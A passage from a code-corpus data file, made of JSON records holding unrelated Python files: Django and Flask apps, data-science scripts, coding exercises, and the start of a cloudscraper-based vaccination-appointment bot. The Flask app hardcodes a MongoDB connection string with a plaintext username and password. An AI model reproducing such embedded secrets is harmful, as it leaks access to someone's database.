final_states=dfa_final_states)\n","sub_path":"automata/fa/dfa.py","file_name":"dfa.py","file_ext":"py","file_size_in_byte":11754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422413247","text":"from django.conf.urls import patterns, url\nfrom django.http import Http404\nfrom django.db.models import Q\nfrom django.views.decorators.cache import never_cache\nfrom restlib2 import resources\nfrom varify import api\nfrom varify.samples.models import CohortVariant\nfrom varify.assessments.models import Assessment, Pathogenicity, AssessmentCategory\nfrom .models import Variant\nfrom preserialize.serialize import serialize\n\nclass VariantResource(resources.Resource):\n model = Variant\n\n template = api.templates.Variant\n\n # Check if the object exists. The cache should not be relied on since\n # it is not deleted or invalidated when objects are deleted\n def is_not_found(self, request, response, pk):\n return not self.model.objects.filter(pk=pk).exists()\n\n @classmethod\n @api.cache_resource\n def get(self, request, pk):\n related = ['type', 'chr']\n try:\n variant = self.model.objects.select_related(*related).get(pk=pk)\n except self.model.DoesNotExist:\n raise Http404\n data = serialize(variant, **self.template)\n\n # Roll up unique set of genes and effects for this variant since\n # this is quite important\n genes = set()\n effects = set()\n for eff in data['effects']:\n effects.add(eff['type'])\n if eff.get('transcript') and eff['transcript'].get('gene'):\n if eff['transcript']['gene']:\n genes.add(eff['transcript']['gene']['symbol'])\n\n data['unique_genes'] = sorted(genes)\n data['unique_effects'] = sorted(effects)\n\n # Augment resource with cohort-related details (e.g. allele frequencies)\n perms = Q(cohort__user=None, cohort__published=True) | \\\n Q(cohort__user=request.user)\n cohort_variants = CohortVariant.objects.filter(perms,\n variant=variant).order_by('-cohort__order', 'cohort__name').distinct()\n data['cohorts'] = serialize(cohort_variants,\n **api.templates.CohortVariant)\n\n return data\n\n\nclass VariantAssessmentMetricsResource(resources.Resource):\n model = Variant\n\n def is_not_found(self, request, response, pk):\n return not self.model.objects.filter(pk=pk).exists()\n\n def get(self, request, pk):\n assessments = Assessment.objects.filter(sample_result__variant=pk)\n categories = AssessmentCategory.objects.all()\n pathogenicities = Pathogenicity.objects.all()\n\n data = {\n 'metrics': {},\n }\n\n num_assessments = len(assessments)\n\n # Easier to check for 0 assessments here than checking for a divide by\n # 0 situation in every loop iteration.\n if num_assessments > 0:\n for p in pathogenicities:\n for c in categories:\n key = \"{0}: {1}\".format(p.name, c.name)\n\n filter_results = assessments.filter(\n pathogenicity=p.id, assessment_category=c.id)\n\n count = filter_results.count()\n is_user_call = filter_results.filter(\n user=request.user.id).exists()\n\n if is_user_call:\n key = key + \"(your assessment)\"\n\n data['metrics'][key] = {\n 'count': count,\n 'percentage': count / float(num_assessments) * 100.0,\n }\n\n # Handle empty categories since category isn't required\n key = p.name\n filter_results = assessments.filter(\n pathogenicity=p.id, assessment_category__isnull=True)\n count = filter_results.count()\n is_user_call = filter_results.filter(\n user=request.user.id).exists()\n\n if is_user_call:\n key = key + \"(your assessment)\"\n data['metrics'][key] = {\n 'count': count,\n 'percentage': count / float(num_assessments) * 100.0,\n }\n\n else:\n for c in categories:\n for p in pathogenicities:\n key = \"{0}: {1}\".format(p.name, c.name)\n data['metrics'][key] = {\n 'count': 0.0,\n 'percentage': 0.0,\n }\n\n return data\n\n\nvariant_resource = never_cache(VariantResource())\nvariant_metrics_resource = never_cache(VariantAssessmentMetricsResource())\n\nurlpatterns = patterns('',\n url(r'^(?P\\d+)/$', variant_resource, name='variant'),\n url(r'^(?P\\d+)/assessment-metrics/$', variant_metrics_resource, name='variant_assessment_metrics'),\n)\n","sub_path":"varify/variants/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94883193","text":"import cartopy.io.shapereader as shpreader\nfrom shapely import geometry\nimport xarray as xr\nimport numpy as np\nimport json\n\n# from matplotlib import pyplot as plt\n\n# WARNING: This piece of code is not used for anything at the moment and only kept for future reference. Check out\n# country_master.py for the useful code\n\n# the countries that are (partially) in the area for which we have data\n# TODO: Calculate the area of each country within the data region, and export is as well so the data can be normalised\ninteresting = [\n \"Albania\",\n \"Andorra\",\n \"Armenia\",\n \"Austria\",\n \"Azerbaijan\",\n \"Belarus\",\n \"Belgium\",\n \"Bosnia and Herzegovina\",\n \"Bulgaria\",\n \"Croatia\",\n \"Cyprus\",\n \"Czechia\",\n \"Denmark\",\n \"Estonia\",\n \"Faroes\",\n \"Finland\",\n \"France\",\n \"Georgia\",\n \"Germany\",\n \"Gibraltar\",\n \"Greece\",\n \"Guernsey\",\n \"Hungary\",\n \"Iceland\",\n \"Ireland\",\n \"Isle of Man\",\n \"Italy\",\n \"Jersey\",\n \"Kazakhstan\",\n \"Kosovo\",\n \"Latvia\",\n \"Liechtenstein\",\n \"Lithuania\",\n \"Luxembourg\",\n \"Malta\",\n \"Moldova\",\n \"Monaco\",\n \"Montenegro\",\n \"Netherlands\",\n \"North Macedonia\",\n \"Norway\",\n \"Poland\",\n \"Portugal\",\n \"Romania\",\n \"Russian Federation\",\n \"San Marino\",\n \"Serbia\",\n \"Slovakia\",\n \"Slovenia\",\n \"Spain\",\n \"Sweden\",\n \"Svalbard and Jan Mayen\"\n \"Switzerland\",\n \"Turkey\",\n \"Ukraine\",\n \"United Kingdom\",\n \"Vatican City\",\n \"Morocco\",\n \"Algeria\",\n \"Tunisia\",\n \"Libya\",\n \"Egypt\",\n \"Syria\",\n \"Lebanon\",\n \"Jordan\",\n \"Israel\",\n \"Iraq\",\n \"Iran\",\n \"Saudi Arabia\",\n \"Palestine\"\n]\n\nprint(\"Preparing...\")\n\n# data from 2016 for 1:20 million scale world map. More coarse or detailed maps are available. The coordinate system is\n# with longitude and latitude in degrees\nshape_file = 'Shapefiles/CNTR_RG_20M_2016_4326.shp'\n\n# this file is used to get the grid points on which we have the data\ndata_file = 'Aerosol.24h.JAN.OFF.nc4'\n\n# the keys are country names (in English), and the value for each of them is a list with the polygons that the country\n# shape is made up of\ncountry_dict = {}\n\n\n# this function checks if country_dict contains a country with the given name. If so, it returns whether this country\n# contains the given coordinates (longitude, latitude)\ndef in_country(name, coords):\n if name not in country_dict:\n return False\n\n for region in country_dict[name]:\n if region.contains(geometry.Point(coords)):\n return True\n\n return False\n\n\n# read the shape file\nreader = shpreader.Reader(shape_file)\n\n# this is a generator, not a list. So you can only loop over it, not use indexing. But if necessary, it can be converted\n# using list( ).\ncountries = reader.records()\n\n# get the values of longitude and latitude at which the grid points lie\nDS = xr.open_dataset(data_file)\nlon_values = DS.coords['lon'].values\nlat_values = DS.coords['lat'].values\n\n# combine longitude and latitude into a list of all grid cell coordinates in the form [lon, lat]\nxx, yy = np.meshgrid(lon_values, lat_values)\ngrid_cells = np.array((xx.ravel(), yy.ravel())).T\n\nprint(\"Getting country shapes...\")\n\n# fill the country_dict\nfor country in countries:\n # the .split( ) part in this statement is necessary because for some reason the names have \\x00\\x00\\x00... added\n # to them. If you don't remove that, the statement doesn't find any of them in the \"interesting\" list\n country_name = country.attributes['NAME_ENGL'].split(\"\\x00\")[0]\n if country_name in interesting:\n country_dict[country_name] = []\n multipolygon = country.geometry.geoms # a multipolygon can consist of several disjoint polygons\n for polygon in multipolygon: # each of these is a shapely polygon\n country_dict[country_name].append(polygon)\n\nprint(\"Assigning grid cells to countries...\")\n\n# the keys are country names (in English), and the value for each of them is a list with the grid points that lie inside\ncountry_coords = {}\n\n# loop over all countries and grid cells to fill the country_coords\nfor country in country_dict:\n country_coords[country] = []\n for cell in grid_cells:\n if in_country(country, cell):\n country_coords[country].append(cell.tolist())\n\nprint(\"Writing result to output file...\")\n\n# write the output to a file so that it can be used in other programs (if there already is a file with this name, it\n# will be overwritten). The file format used is JSON (very similar to dict)\nwith open(\"country_coords.txt\", \"w\") as output_file:\n output_file.write(json.dumps(country_coords, sort_keys=True, indent=4, separators=(',', ': ')))\n\nprint(\"Finished\")\n","sub_path":"Country Group/shapefile_reader.py","file_name":"shapefile_reader.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597427830","text":"from scrapy import Selector\n\n\ndef clean_parameters(item):\n selector = Selector(text=item)\n data = {\n \"name\": selector.xpath(\"//span[@class='item-params-label']/text()\").extract_first(),\n \"value\": selector.xpath(\"//a[contains(@class, 'item-params-link')]/text()\").get(),\n }\n if not data[\"value\"]:\n value_result = \"\"\n for item in selector.xpath(\"//li/text()\").extract():\n if item and not item.isspace():\n value_result += item\n data[\"value\"] = value_result\n return data\n\n\ndef to_type(type_cls):\n def procedure(item):\n try:\n data = type_cls(item)\n except ValueError:\n data = None\n return data\n\n return procedure\n","sub_path":"Data mining/gb_parse/spiders/avito/processors.py","file_name":"processors.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128371313","text":"import requests\nfrom .utils import normalize_prices, get_headers\n\n\nclass Client(object):\n def __init__(self):\n super(Client, self).__init__()\n self.api_url = 'https://api.btcturk.com'\n\n def get_all_prices(self, currency='USDT', pair=False):\n url = self.api_url + f'/api/v2/ticker/currency?symbol={currency}'\n data = requests.get(url).json()['data']\n result = normalize_prices(data)\n if pair:\n return result[pair]\n return result\n\n\nif __name__ == '__main__':\n client = Client()\n prices = client.get_all_prices()\n","sub_path":"crypto/btc_turk_api.py","file_name":"btc_turk_api.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"354750561","text":"#!/usr/bin/env python\r\n\r\nimport cdsapi\r\nimport calendar\r\n\r\nc = cdsapi.Client()\r\n\r\ndef retrieve_uerra():\r\n \"\"\"\r\n A function to demonstrate how to iterate efficiently over several years and months etc\r\n for a particular UERRA request for origin Meteo France.\r\n Change the variables below to adapt the iteration to your needs.\r\n You can use the variable 'targetFile' to organise the requested data in files as you wish.\r\n In the example below the data are organised in files per month.\r\n \"\"\"\r\n yearStart = 2015\r\n yearEnd = 2015\r\n monthStart = 1\r\n monthEnd = 12\r\n for year in list(range(yearStart, yearEnd + 1)):\r\n for month in list(range(monthStart, monthEnd + 1)):\r\n startDate = '%04d%02d%02d' % (year, month, 1)\r\n numberOfDays = calendar.monthrange(year, month)[1]\r\n requestDates = ['{:04}'.format(year)+'{:02}'.format(month)+'{:02}'.format(i) for i in range(1, numberOfDays+1)]\r\n targetFile = \"ofile_%04d%02d.grb\" % (year, month)\r\n uerra_request(requestDates, targetFile)\r\n\r\n\r\ndef uerra_request(requestDates, target):\r\n \"\"\"\r\n A UERRA request for snow depth every hour.\r\n Origin Meteo France, surface level, forecast fields.\r\n Request cost per day is 24 fields, 46.1 Mbytes.\r\n \"\"\"\r\n c.retrieve(\r\n 'reanalysis-uerra-europe-complete',\r\n {\r\n 'class':'ur',\r\n 'database':'external',\r\n 'stream':'oper',\r\n 'format':'grib',\r\n 'type':'fc',\r\n 'step':'1/2/3/4/5/6',\r\n 'origin':'lfpw',\r\n 'date': requestDates,\r\n 'expver':'prod',\r\n 'levtype':'sfc',\r\n 'param':'3066',\r\n 'time':'00/06/12/18'\r\n },\r\n target)\r\n\r\n\r\nif __name__ == '__main__':\r\n retrieve_uerra()\r\n","sub_path":"cds_retrieve_complete_examples/Get_snowDepth_hourly_CDS_complete_MESCAN_forecast.py","file_name":"Get_snowDepth_hourly_CDS_complete_MESCAN_forecast.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"327484402","text":"\"\"\"\nMonte Carlo Tic-Tac-Toe Player\n\"\"\"\n\nimport random\nimport poc_ttt_gui\nimport poc_ttt_provided as provided\n\n# Constants for Monte Carlo simulator\n# Change as desired\nNTRIALS = 100 # Number of trials to run\nMCMATCH = 1.0 # Score for squares played by the machine player\nMCOTHER = 1.0 # Score for squares played by the other player\n \n# Add your functions here.\n\ndef mc_trial(board, player):\n \"\"\"\n Takes a current board and the next player to move\n modifies board input\n \"\"\"\n player_flag = True\n player_dict = {True: player, False: provided.PLAYERX if (player == provided.PLAYERO) else provided.PLAYERO}\n emptys = board.get_empty_squares()\n while (emptys):\n selected = emptys.pop(random.randrange(len(board.get_empty_squares())))\n board.move(selected[0], selected[1], player_dict[player_flag])\n if (board.check_win()):\n break\n player_flag = not player_flag\n \n# if (not board.check_win()):\n# selected = random.choice(board.get_empty_squares())\n# board.move(selected[0], selected[1], player)\n# mc_trial(board, provided.PLAYERX if (player == provided.PLAYERO) else provided.PLAYERO)\n \ndef mc_update_scores(scores, board, player):\n \"\"\"\n Modifies scores board according to the result\n of a simulation\n \"\"\"\n result = board.check_win()\n if (result):\n if (result != provided.DRAW):\n for row in range(board.get_dim()):\n for col in range(board.get_dim()):\n scores[row][col] += (MCMATCH if (board.square(row, col) == player) else 0 if (board.square(row, col) == provided.EMPTY) else - MCOTHER) * (1 if (player == result) else -1)\n\ndef get_best_move(board, scores):\n \"\"\"\n Returns the best move as (row, column)\n tuple which has the highest score\n \"\"\"\n emptys = board.get_empty_squares()\n best = emptys[0]\n ite = 1\n while (ite < len(emptys)):\n if (scores[emptys[ite][0]][emptys[ite][1]] > scores[best[0]][best[1]]):\n best = emptys[ite]\n ite += 1\n return best\n\ndef new_scores(dim):\n \"\"\"\n Generates a new scores board\n \"\"\"\n scores = []\n row = 0\n while (row < dim):\n temp = []\n col = 0\n while (col < dim):\n temp.append(0)\n col += 1\n scores.append(temp)\n row += 1\n return scores\n \ndef mc_move(board, player, trials):\n \"\"\"\n Compute the best move and commit the move\n \"\"\"\n now = 1\n scores = new_scores(board.get_dim())\n while (now <= trials):\n trial_board = board.clone()\n mc_trial(trial_board, player)\n mc_update_scores(scores, trial_board, player)\n now += 1\n return get_best_move(board, scores)\n \n \n# Test game with the console or the GUI.\n# Uncomment whichever you prefer.\n# Both should be commented out when you submit for\n# testing to save time.\n\n# provided.play_game(mc_move, NTRIALS, False) \n# poc_ttt_gui.run_gui(3, provided.PLAYERX, mc_move, NTRIALS, False)\n","sub_path":"Principles_of_Computing/Tic-Tac-Toe.py","file_name":"Tic-Tac-Toe.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"449568547","text":"class Difference:\n def __init__(self, a):\n self.__elements = a\n\n\n def computeDifference(self):\n \tself.maximumDifference=max(a)-min(a)\n\n\n\n# End of Difference class\n\n_ = input()\nprint (\"\\nThere are %s elements in the array\"%_)\na = [int(e) for e in input().split(\" \")]\nd = Difference(a)\nd.computeDifference()\n\nprint(\"The maximum absolute difference between any 2 elements in the array is: \", d.maximumDifference)\n","sub_path":"day_14/scope.py","file_name":"scope.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311909806","text":"class Solution(object):\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n islands = 0 # will hold total number of islands\n v = {} # will hold info on if an island was visited int(1) or not int(0)\n grid_len = len(grid)\n if grid_len < 1: # if empty grid\n return 0\n for i in range(grid_len):\n grid[i].insert(0, u'0') # western edge\n grid[i].append(u'0') # eastern edge\n grid.insert(0, [u'0'] * len(grid[0])) # northern edge\n grid.append([u'0'] * len(grid[grid_len - 1])) # southern edge\n grid_len = len(grid)\n row_len = len(grid[0])\n for i in range(1, grid_len - 1):\n for j in range(1, row_len - 1): # len(grid[i]) - 1 unnecessary for this problem (grid is always square)\n if v.setdefault((i, j), 0) == 0 and grid[i][j] == u'1':\n self.islandsBFS(grid, v, i, j) # find rest of island and mark cells as visited\n islands += 1\n return islands\n def islandsBFS(self, grid, v, i, j):\n q = []\n q.append((i, j)) # insert root cell into queue\n v[(i, j)] = 1 # mark root cell as visited\n while not len(q) == 0:\n q_len = len(q)\n for x in range(q_len):\n i, j = q.pop(0)\n if v.setdefault((i - 1, j), 0) == 0 and grid[i - 1][j] == u'1': # North neighbor\n v[(i - 1, j)] = 1\n q.append((i - 1, j))\n if v.setdefault((i + 1, j), 0) == 0 and grid[i + 1][j] == u'1': # South neighbor\n v[(i + 1, j)] = 1\n q.append((i + 1, j))\n if v.setdefault((i, j - 1), 0) == 0 and grid[i][j - 1] == u'1': # West neighbor\n v[(i, j - 1)] = 1\n q.append((i, j - 1))\n if v.setdefault((i, j + 1), 0) == 0 and grid[i][j + 1] == u'1': # East neighbor\n v[(i, j + 1)] = 1\n q.append((i, j + 1))\n","sub_path":"leetcode/islands2.py","file_name":"islands2.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"380160037","text":"from flask import Flask, render_template\nfrom models import db, Post\n\n\nMONGO_URI = 'mongodb+srv://pete:d71RZ9Xu46NkPxL7@paws-sandbox-gdqa2.mongodb.net/paws-sandbox?ssl=true&ssl_cert_reqs=CERT_NONE'\n\n\n# Initialize app instance\n# Central registry to view funcs, URL rules\n# and template configs\napp = Flask(__name__)\n\n\napp.config['MONGODB_HOST'] = MONGO_URI\napp.debug = True\n\n# Initialise app with database\ndb.init_app(app)\n\n\n# Routing\n@app.route('/')\ndef index():\n # Get the last date the scraper ran\n for post in Post.objects().fields(date_str=1).order_by('-date_str').limit(1):\n day_to_pull = post.date_str\n\n return render_template(\n 'index.html',\n Post=Post,\n day_to_pull=day_to_pull\n )\n\n\n@app.route(\"/date\")\ndef all_dates():\n # Get all the dates the scraper was run on\n dates = Post.objects().fields(date_str=1).distinct('date_str')\n\n return render_template(\n 'all_dates.html',\n dates=reversed(list(dates)) # Puts latest date first\n )\n\n\n@app.route('/date/') # <...> include variable in route\ndef by_date(day_to_pull=None):\n return render_template(\n 'index.html',\n Post=Post,\n day_to_pull=day_to_pull\n )\n\n\n@app.route('/sub')\ndef all_subs():\n # Get all the sub that have been scraped\n subs = Post.objects().fields(sub=1).distinct('sub')\n\n return render_template(\n 'all-subreddits.html',\n subs=sorted(list(subs), key=str.lower)\n )\n\n\n@app.route(\"/sub/\")\ndef by_subreddit(sub_to_pull=None):\n return render_template(\n 'by_subreddit.html',\n Post=Post,\n sub=sub_to_pull\n )\n\n\n# Execution\nif __name__ == \"__main__\":\n app.run(host='127.0.0.1', port=8080, debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"647885133","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n# -*- coding: utf-8 -*-\n# @contact: ybsdeyx@foxmail.com\n# @software: PyCharm\n# @time: 2019/2/28 16:38\n# @author: Paulson●Wier\n# @file: 面向对象_高级编程.py\n# @desc:\n\n'''\n使用__slots__\n如果我们想要限制实例的属性怎么办?\n比如,只允许对Student实例添加name和age属性。\n\n为了达到限制的目的,\nPython允许在定义class的时候,\n定义一个特殊的__slots__变量,\n来限制该class实例能添加的属性:\n'''\n# class Student(object):\n# __slots__ = ('name','age') # 用tuple定义允许绑定的属性名称\n\n\n\n'''\n使用@property\n在绑定属性时,如果我们直接把属性暴露出去,\n虽然写起来很简单,但是,没办法检查参数,导致可以把成绩随便改\n'''\n\n# class Student(object):\n#\n# def get_score(self):\n# return self._score\n#\n#\n# def set_score(self,value):\n# if not isinstance(value,int):\n# raise ValueError('score must be an integer')\n# if value < 0 or value > 100:\n# raise ValueError('score must be 0~100')\n# self._score = value\n\n\n\n'''\n但是,上面的调用方法又略显复杂,没有直接用属性这么直接简单。\n\n有没有既能检查参数,又可以用类似属性这样简单的方式来访问类的变量呢?\n对于追求完美的Python程序员来说,这是必须要做到的!\n\n还记得装饰器(decorator)可以给函数动态加上功能吗?\n对于类的方法,装饰器一样起作用。\nPython内置的@property装饰器就是负责把一个方法变成属性调用的:\n'''\n\n\n# class Student(object):\n#\n# @property\n# def score(self):\n# return self._score\n#\n#\n# @score.setter\n# def score(self,value):\n# if not isinstance(value, int):\n# raise ValueError('score must be an integer')\n# if value < 0 or value > 100:\n# raise ValueError('score must be 0~100')\n# self._score = value\n\n\n\n# 请利用@property给一个Screen对象加上width和height属性,以及一个只读属性resolution:\n\nclass Screen(object):\n\n @property\n def width(self):\n return self._width\n\n\n @width.setter\n def width(self,value):\n if not isinstance(value, int):\n raise ValueError('width must be an interger')\n if value < 0:\n raise ValueError('width must > 0')\n self._width = value\n\n\n @property\n def height(self):\n return self._height\n\n @height.setter\n def height(self,value):\n if not isinstance(value,int):\n raise ValueError('height must be an interger')\n if value < 0 :\n raise ValueError('height must > 0 ')\n self._height = value\n\n @property\n def resolution(self):\n return self._width * self._height\n\n\n\n# # 测试:\n# s = Screen()\n# s.width = 1024\n# print(s.width)\n# s.height = 768\n# print('resolution =', s.resolution)\n# if s.resolution == 786432:\n# print('测试通过!')\n# else:\n# print('测试失败!')\n\n\n\n\n# 把Student的gender属性改造为枚举类型,可以避免使用字符串:\nfrom enum import Enum, unique\n\nclass Gender(Enum):\n Male = 0\n Female = 1\n\nclass Student(object):\n def __init__(self, name, gender):\n self.name = name\n self.gender = gender\n\n# 测试:\nbart = Student('Bart', Gender.Male)\nif bart.gender == Gender.Male:\n print('测试通过!')\nelse:\n print('测试失败!')","sub_path":"StudyPacticePython/Base_Python/python_base/面向对象_高级编程.py","file_name":"面向对象_高级编程.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636365490","text":"import numpy\nimport tensorflow as tf\n\n#### Parameters related to the execution and hardware\n\nglobal NUM_CHANNELS\nglobal PIXEL_DEPTH\nglobal NUM_LABELS\nglobal TRAINING_SIZE\nglobal SEED\nglobal BATCH_SIZE\nglobal RECORDING_STEP\nglobal NUM_THREADS\nglobal DATA_AUGMENTATION\nglobal EXTRA_IMAGE_IDS\nglobal FOREGROUND_THRESHOULD\n\nNUM_CHANNELS = 3 # RGB images\nPIXEL_DEPTH = 255\nNUM_LABELS = 2\nINPUT_SIZE = 32 # 100 + 48 augmented\nSEED = 66478 # Set to None for random seed.\nBATCH_SIZE = 16\nRECORDING_STEP = 1000\nNUM_THREADS = 2\nDATA_AUGMENTATION = False\nEXTRA_IMAGE_IDS = [23,26,27,28,30,32,33,38,42,69,72,73,75,83,88,91]\nFOREGROUND_THRESHOULD = 0.25\n\n##### Parameters to be set by phase1 and phase2 before calling\n\nglobal ADD_INTERCALATED_PATCHES\nglobal NEIGHBORHOOD_ANALYSIS\nglobal IMG_PATCH_SIZE\nglobal CONV_LAYERS\nglobal CONV_FILTER_SIZES #sizes of conv_weights[i]\nglobal CONV_FILTER_DEPTHS #depths of conv_weights[i]\nglobal POOL_FILTER_STRIDES #strides for pooling\nglobal FC1_WEIGHTS_DEPTH #depths of weights in fully connected 1 (before out)\nglobal RANDOMIZE_INPUT_PATCHES\nglobal DROPOUT_RATE #amount of nodes we drop during training (0 for 'no dropout')\nglobal LEARNING_RATE \nglobal DECAY_RATE #decay of step size of gradient descent\nglobal NUM_EPOCHS\n\n##### \n\nglobal PREDICTIONS_PATH\nglobal INPUT_TRAIN_PATH\nglobal INPUT_TEST_PATH \nglobal SUBMISSION_FILE_PATH\nglobal SUMMARY_MODEL_PATH\n\nPREDICTIONS_PATH = \"./predictions/\"\nGROUNDTRUTH_PATH = \"./training/groundtruth/\"\nINPUT_TRAIN_PATH = \"./training/images/\"\nINPUT_TEST_PATH = \"./test_set_images/\" \nSUMMARY_MODEL_PATH = \"./tmp/\"\nSUBMISSION_FILE_PATH = \"./submission.csv\"\n","sub_path":"projects/project2-our-group/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643617786","text":"# -*- coding: utf-8 -*-\n\nfrom django import forms\nfrom .models import PersonalSurgicalLogEntry\n\nclass PersonalSurgicalLogEntryCreateForm(forms.ModelForm):\n professional_password = forms.CharField(widget=forms.PasswordInput(), label='Contraseña')\n class Meta:\n model = PersonalSurgicalLogEntry\n fields = ['patient', 'beneficiary', 'date', 'professional', 'second_professional', 'third_professional', 'procedure_type', 'pre_procedure_annotations', 'post_procedure_annotations', 'surgical_protocol', 'surgery_supplies',]\n labels = {\n 'date':'Fecha del procedimiento (AAAA-MM-DD HH:MM)',\n 'professional': 'Profesional',\n 'second_professional': 'Segundo profesional',\n 'third_professional': 'Tercer profesional',\n 'procedure_type': 'Tipo de procedimiento',\n 'pre_procedure_annotations': 'Anotaciones anteriores al procedimiento.',\n 'post_procedure_annotations': 'Anotaciones posteriores al procedimiento.',\n 'surgical_protocol': 'Protocólo quirurgico',\n 'surgery_supplies': 'Insumos utilizados',\n }\n widgets = {\n 'patient': forms.HiddenInput(),\n 'beneficiary': forms.HiddenInput(),\n 'date': forms.TextInput(attrs={ 'class':'datetimepicker', 'placeholder':'YYYY-MM-DD HH:MM' }),\n 'pre_procedure_annotations': forms.Textarea( attrs={ 'rows':3 } ),\n 'post_procedure_annotations': forms.Textarea( attrs={ 'rows':3 } ),\n 'surgical_protocol': forms.Textarea( attrs={ 'rows':3 } ),\n 'surgery_supplies': forms.Textarea( attrs={ 'rows':3 } ),\n }\n\n\n\n# class PersonalSurgicalLogEntryCreateForm(forms.Form):\n# second_professional = forms.ModelChoiceField(required=False, label='', empty_label='--- Segundo profesional ---',\n# queryset=Professional.objects.all()\n# )\n#\n# third_professional = forms.ModelChoiceField(required=False, label='', empty_label='--- Tercer profesional ---',\n# queryset=Professional.objects.all()\n# )\n#\n# procedure_type = forms.CharField(required=False, label='Tipo de procedimiento',\n# widget=forms.TextInput( attrs={ 'placeholder':'...' })\n# )\n#\n# pre_procedure_annotations = forms.CharField(required=False, label='Indicaciones prequirurgicas',\n# widget=forms.Textarea( attrs={ 'placeholder':'...' })\n# )\n#\n# post_procedure_annotations = forms.CharField(required=False, label='Indicaciones postquirurgicas',\n# widget=forms.Textarea( attrs={ 'placeholder':'...' })\n# )\n#\n# surgical_protocol = forms.CharField(required=False, label='Protocolo quirúrgico',\n# widget=forms.Textarea( attrs={ 'placeholder':'...' })\n# )\n#\n# surgery_supplies = forms.CharField(required=False, label='Insumos utilizados',\n# widget=forms.Textarea( attrs={ 'placeholder':'...' })\n# )\n","sub_path":"personal_surgical_log/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351411964","text":"from pyspark import SparkContext\nfrom pyspark import SparkConf\n\n\nsparkconf = SparkConf().setMaster(\"local[*]\")\nsparkcontext = SparkContext.getOrCreate(sparkconf)\nalbums = sparkcontext.textFile(\"../datasets/albums.csv\")\nalbumMapping = albums.map(lambda x: x.split(\",\"))\n\nalbumInfo = albumMapping.map(lambda album: (album[1], album[0]))\n\nresult = albumInfo\\\n .map(lambda w: (w[0], 1))\\\n .reduceByKey(lambda x, y: x + y)\\\n .sortBy(lambda y: int(y[0]), True)\\\n .sortBy(lambda x: x[1], False)\n\n\nresult.map(lambda res: str(res[0]) + \"\\t\" + str(res[1])).coalesce(1).saveAsTextFile('result_4.tsv')\n","sub_path":"task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"28476386","text":"# Alphabetisch sortiert:\nimport copy\nimport os\nimport platform\nimport string\nimport sys\nimport time\n# Alphabetisch sortiert:\nfrom base64 import b64encode\nfrom datetime import datetime, date, timedelta\nfrom datetime import time as dtime\nfrom json import JSONDecodeError\nfrom random import choice, choices, randint\n\nimport cloudscraper\nfrom requests.exceptions import RequestException\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\nfrom tools.clog import CLogger\nfrom tools.exceptions import AppointmentGone, BookingError, TimeframeMissed, UnmatchingCodeError\nfrom tools.kontaktdaten import decode_wochentag, validate_codes, validate_kontakt, \\\n validate_zeitrahmen\nfrom tools.utils import fire_notifications\nfrom tools.chromium_downloader import chromium_executable, check_chromium, webdriver_executable, check_webdriver\n\ntry:\n import beepy\n\n ENABLE_BEEPY = True\nexcept ImportError:\n ENABLE_BEEPY = False\n\n\nclass ImpfterminService():\n def __init__(self, codes: list, kontakt: dict, PATH: str, notifications: dict = dict()):\n self.PATH = PATH\n self.kontakt = kontakt\n self.operating_system = platform.system().lower()\n\n self.notifications = notifications\n\n # Logging einstellen\n self.log = CLogger(\"impfterminservice\")\n\n # Session erstellen\n self.s = cloudscraper.create_scraper()\n self.s.headers.update({\n 'User-Agent': 'Mozilla/5.0',\n })\n\n # Ausgewähltes Impfzentrum prüfen\n while True:\n try:\n self.impfzentren = self.impfzentren_laden()\n break\n except RuntimeError as exc:\n self.log.error(str(exc))\n self.log.info(\"Erneuter Versuch in 30 Sekunden\")\n time.sleep(30)\n\n # Zunächst alle Codes zu allen URLs zuordnen. Aussortiert wird später.\n self.codes = {\n url: copy.copy(codes)\n for url in self.impfzentren\n }\n\n # Verfügbare Impfstoffe laden, aber nur um sie im Log auszugeben\n try:\n self.impfstoffe_laden(next(iter(self.impfzentren)))\n except RuntimeError as exc:\n # Wissen der verfügbare Impfstoffe wird nicht zwingend benötigt,\n # also nur ein Warning:\n self.log.warn(str(exc))\n\n def __str__(self) -> str:\n return 